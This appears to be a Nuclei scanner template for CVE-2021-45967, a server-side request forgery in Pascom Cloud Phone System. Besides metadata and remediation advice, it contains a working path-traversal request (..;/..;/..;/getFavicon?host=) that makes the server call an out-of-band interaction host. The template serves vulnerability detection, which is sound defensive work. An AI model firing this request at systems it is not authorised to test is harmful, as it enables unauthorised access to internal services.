Pascom CPS Server-Side Request Forgery

id: CVE-2021-45967

info:
  name: Pascom CPS Server-Side Request Forgery
  author: dwisiswant0
  severity: critical
  description: Pascom versions before 7.20 packaged with Cloud Phone System contain a known server-side request forgery vulnerability.
  impact: |
    The vulnerability can result in unauthorized access to sensitive data or systems, potentially leading to further exploitation or compromise.
  remediation: |
    Apply the latest security patches or updates provided by Pascom to fix the Server-Side Request Forgery vulnerability (CVE-2021-45967).
  reference:
    - https://kerbit.io/research/read/blog/4
    - https://www.pascom.net/doc/en/release-notes/
    - https://tutorialboy24.blogspot.com/2022/03/the-story-of-3-bugs-that-lead-to.html
    - https://www.pascom.net/doc/en/release-notes/pascom19/
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-45967
    cwe-id: CWE-22
    epss-score: 0.208
    epss-percentile: 0.97238
    cpe: cpe:2.3:a:pascom:cloud_phone_system:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: pascom
    product: cloud_phone_system
  tags: cve,cve2021,pascom,ssrf,pascom_cloud_phone_system,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/services/pluginscript/..;/..;/..;/getFavicon?host={{interactsh-url}}"

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502203ea56f3e44517bdc85d942dcdd84f097d592d8113058663cac184d382683a7ca022100b604d922bd53b8c8ac8a4a2c39a4d0651bef9e3a318ef1faab8514afb3c6a0e5:922c64590222798bb761d5b6d8e72950